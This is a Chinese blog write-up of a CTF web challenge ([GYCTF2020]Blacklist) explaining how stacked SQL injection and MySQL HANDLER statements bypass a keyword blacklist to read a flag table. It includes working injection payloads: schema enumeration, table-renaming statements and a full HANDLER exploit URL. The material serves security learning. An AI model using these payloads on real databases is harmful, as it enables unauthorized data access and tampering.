练习8 Web [GYCTF2020]Blacklist

文章讲述了在网络安全挑战比赛中,作者尝试使用堆叠注入技术解决Blacklist1题目,同时介绍了handler语句在MySQL中的特性和限制,展示了如何绕过SQL过滤,最终通过handler语法访问受限表的数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这道题其实不是堆叠注入,但是我在联合查询无效后,试了一下堆叠,最后一步发现被过滤的sql语句太多了,完全没法
查阅其他wp的过程[GYCTF2020]Blacklist 1(详细做题过程)

是用的handler语句,只能用于MySQL中,是类似于select的语句,详细内容我记录在我的wp中

先输入一些常规数字或者字母字符
返回值:

  • 数字:1
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
  • 数字:2
 array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

其他字符均没有返回值

在这里插入图片描述
尝试常见的sql语句,发现返回如下内容,查询后发现是提示这些sql语句都被过滤掉了
在这里插入图片描述

在博客https://blog.csdn.net/weixin_45551083/article/details/105389126 中提到了“堆叠注入”

堆叠注入详解

堆叠注入是用 ; 分隔开的多行sql语句

?inject=2';show databases;#

得到以下内容
在这里插入图片描述

继续 show tables
找到一个“FlagHere”表
在这里插入图片描述
查找“FlagHere”下面的所有列元素:看到一个字符串flag 后面还有一个varchar(100)
应该是要想办法打印出来
在这里插入图片描述
到这里思路确实会卡住
再次看堆叠注入的特点,sql语句是各自执行的

查找“words”下面的所有列元素:
会发现刚好是 一个int和一个varchar(20)
对应一开始我们输入数字1或者2的“一个数字+一个字符串”的格式

再下一步的思路是既然默认查询到的是显示“word”这张表
那么,就把word表名替换到FlagHere,同时列名也同步替换
这样FlagHere里的内容不就默认打印出来了

在这里插入图片描述

依次将words表改名为noWords
FlagHere改名为words
然后将此时的words表中的列名flag改为id,与原来的words表中列名第一个为id第二个为No一一对应

?inject=2';
rename table `words` to `noWords`; 
rename table `FlagHere` to `words`alter table `words` change `flag`  `id` varchar(100);#

提交发现alter也被过滤了,服了

直接查这道题的wp,开头的链接[GYCTF2020]Blacklist 1(详细做题过程)

又是新东西

Handler语法

handler语句,一行一行的浏览一个表中的数据

handler语句并不具备select语句的所有功能。

mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

> 1HANDLER tbl_name OPEN

打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。

2、HANDLER tbl_name READ FIRST

获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。

> 3HANDLER tbl_name CLOSE

关闭打开的句柄。

> 4HANDLER tbl_name READ index_name = value

通过索引列指定一个值,可以指定从哪一行开始,通过NEXT继续浏览。

直接用handler语法打印之前查到的FlagHere表,输出内容就行
http://6e7bc099-1e40-424e-9cc5-235785f06b8b.node5.buuoj.cn:81/?inject=2’;handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值